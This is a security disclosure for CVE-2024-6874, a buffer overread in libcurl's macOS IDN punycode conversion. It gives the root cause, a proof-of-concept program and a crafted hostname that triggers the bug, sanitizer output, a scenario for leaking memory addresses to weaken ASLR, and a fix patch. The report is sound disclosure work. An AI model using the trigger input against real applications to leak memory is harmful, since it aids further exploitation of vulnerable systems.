CVE-2024-6874: macidn punycode buffer overread

libcurl at commit [58772b0e082eda333e0a5fc8fb0bc7f17a3cd99c](https://github.com/curl/curl/tree/58772b0e082eda333e0a5fc8fb0bc7f17a3cd99c) contains a stack-buffer overread in [lib/idn.c:75](https://github.com/curl/curl/blob/58772b0e082eda333e0a5fc8fb0bc7f17a3cd99c/lib/idn.c#L75) that can be triggered when the host of a URL is converted to punycode. The root cause of the bug is in the function `mac_idn_to_ascii()`: ```c static CURLcode mac_idn_to_ascii(const char *in, char **out) { // --- snip --- UIDNAInfo info = UIDNA_INFO_INITIALIZER; char buffer[256] = {0}; (void)uidna_nameToASCII_UTF8(idna, in, -1, buffer, sizeof(buffer), &info, &err); uidna_close(idna); if(U_FAILURE(err)) { return CURLE_URL_MALFORMAT; } else { *out = strdup(buffer); if(*out) return CURLE_OK; else return CURLE_OUT_OF_MEMORY; } // --- snip --- } ``` `buffer` is supposed to hold the punycode-encoded version of `in` as a NUL-terminated string. However the implementation of `uidna_nameToASCII_UTF8()` leaves the output buffer unterminated when the length of the encoded output is equal to the capacity of the output buffer ([source](https://github.com/unicode-org/icu/blob/main/icu4c/source/common/ustring.cpp#L1437)). This leaves `buffer` without a terminating NUL-byte and the subsequent call to `strdup(buffer)` includes bytes beyond `buffer`. # PoC Consider the following dummy application that takes a URL as an argument and prints its punycode-encoded version: ```c int main (int argc, char** argv) { CURLU* url = curl_url(); curl_url_set(url, CURLUPART_URL, argv[1], 0); char* encoded_url; curl_url_get(url, CURLUPART_URL, &encoded_url, CURLU_PUNYCODE); printf("%s\n", encoded_url); } ``` Then ``` ./dummy "https://öööööö-ä-üxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxöööööööööööööööööüöäüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüüöööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööxx" ``` results in the over-read: ``` ==77491==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7e649e109750 at pc 0x5852e492c7b5 bp 0x7ffec1daa250 sp 0x7ffec1da9a10 READ of size 257 at 0x7e649e109750 thread T0 #0 0x5852e492c7b4 in strlen.part.0 asan_interceptors.cpp.o #1 0x5852e4a1bf48 in curl_dbg_strdup curl/lib/memdebug.c:198:9 #2 0x5852e4a43e13 in mac_idn_to_ascii curl/lib/idn.c:75:14 #3 0x5852e4a4331f in idn_decode curl/lib/idn.c:244:12 #4 0x5852e4a43158 in Curl_idn_decode curl/lib/idn.c:274:21 #5 0x5852e4a28c6b in curl_url_get curl/lib/urlapi.c:1582:29 #6 0x5852e4a196ec in main dummy.c:6:4 ``` Note: In order to trigger the vulnerability on a non-apple device, compile curl with `-DUSE_APPLE_IDN -licuuc`. # Exploitation Scenario Exploitation of this bug has three strict requirements: 1. An attacker has control over the URL in `curl_url_set()` 2. The application manually calls `curl_url_get()` with `CURLU_PUNYCODE` and the attacker-provided URL 3. The resulting URL is mirrored back to the attacker or used to make a transfer For any application that fulfills these three requirements this vulnerability can be used to leak pointers in the stackframe of `mac_idn_to_ascii()`. Depending on what is adjacent to `buffer` the following information could be leaked: - Base address of the stack when the framepointer follows `buffer` - Base address of the application/libcurl when the return address follows `buffer` (`-fomit-frame-pointer`) - Base address of the heap if the variable `UIDNA* idna` follows the buffer Any of these information leaks bring down exploit mitigations like [ASLR](https://en.wikipedia.org/wiki/Address_space_layout_randomization) or [PIE](https://en.wikipedia.org/wiki/Position-independent_code) and contribute largely to successful exploitation of other memory corruption vulnerabilities. # Patch I suggest the following patch, inspired by [PHP's handling](https://github.com/php/php-src/blob/master/ext/intl/idn/idn.c#L69) of `uidna_nameToASCII_UTF8()`: ```diff diff --git a/lib/idn.c b/lib/idn.c index 8d6bfe7ce..b66e04a64 100644 --- a/lib/idn.c +++ b/lib/idn.c @@ -65,13 +65,14 @@ static CURLcode mac_idn_to_ascii(const char *in, char **out) else { UIDNAInfo info = UIDNA_INFO_INITIALIZER; char buffer[256] = {0}; - (void)uidna_nameToASCII_UTF8(idna, in, -1, buffer, + int n = uidna_nameToASCII_UTF8(idna, in, -1, buffer, sizeof(buffer), &info, &err); uidna_close(idna); - if(U_FAILURE(err)) { + if(U_FAILURE(err) || n < 0 || n >= sizeof(buffer)) { return CURLE_URL_MALFORMAT; } else { + buffer[n] = 0; *out = strdup(buffer); if(*out) return CURLE_OK; ``` ## Impact The vulnerability - does not affect the majority of curl installations - has strict requirements to work - even then only leads to an information leak and nothing worse However, leaking memory content is still security-relevant so I suggest severity "Low".